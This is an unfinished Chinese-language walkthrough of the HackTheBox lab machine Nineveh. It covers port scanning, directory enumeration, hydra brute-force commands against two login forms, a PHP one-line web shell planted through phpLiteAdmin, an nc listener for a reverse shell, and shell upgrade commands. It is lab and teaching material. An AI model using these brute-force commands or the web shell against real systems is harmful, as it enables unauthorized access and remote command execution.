hackthebox Nineveh

nmap -sC -sV -oA  nmap 10.10.10.43

探测操作系统服务及相关版本，并保存为nmap.nmap.

image.png

根据ssl-cert可看到主机名。
编辑 /etc/hosts 配置ip及对应主机名

vi /etc/hosts
10.10.10.43  nineveh

image.png
image.png
image.png

HTTP协议传输的数据都是未加密的，也就是明文的，因此使用HTTP协议传输隐私信息非常不安全，为了保证这些隐私数据能加密传输，于是网景公司设计了SSL（Secure Sockets Layer）协议用于对HTTP协议传输的数据进行加密，从而就诞生了HTTPS。
简单来说，HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议，要比http协议安全。

dirsearch.py -u https://nineveh.htb -e *
dirsearch.py -u nineveh.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e *

image.png image.png
image.png

使用hydra爆破

image.png
image.png

hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/10k_most_common.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid" -t 64

hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/10k_most_common.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect" -t 64

image.png
image.png

成功爆破到密码

image.png

未爆破到db密码 更换字典尝试

grep -i ^password /usr/shark/wordlists/rockyou.txt >pw

hydra -l admin -P pw10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect" -t 64

爆破到db密码为password123，发现为phpliteadmin系统，搜索下以前的漏洞

searchsploit phpliteadmin

image.png image.png

创建新数据库并已php为扩展名，创建表写入php一句话。

<? php echo system($_REQUEST['dd']); ?>

image.png

只能重命名为ninevehNotes.php 。根据提示更改下一句话

<? php echo system($_REQUEST["dd"]); ?>

image.png

根据提示更改下一句话

<? php echo system($_REQUEST["dd"]); ?>

image.png

利用nc getshell

nc -lvpn 9999

反向shell获取参考http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

image.png
将其转换成交互式的shell，方便运行su。在终端中执行：

python -c 'import pty;pty.spawn('/bin/bash')'    

python2没有spawn，我们使用python3

python3 -c 'import pty;pty.spawn("/bin/bash")'

image.png

我们需要设置tty 保证我们在nc shell 上与终端完全交互，以便使用所有功能（tab-complete，history，job control等）：

参考：如何将简单的Shell转换成为完全交互式的TTY
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/3529.html

未完待续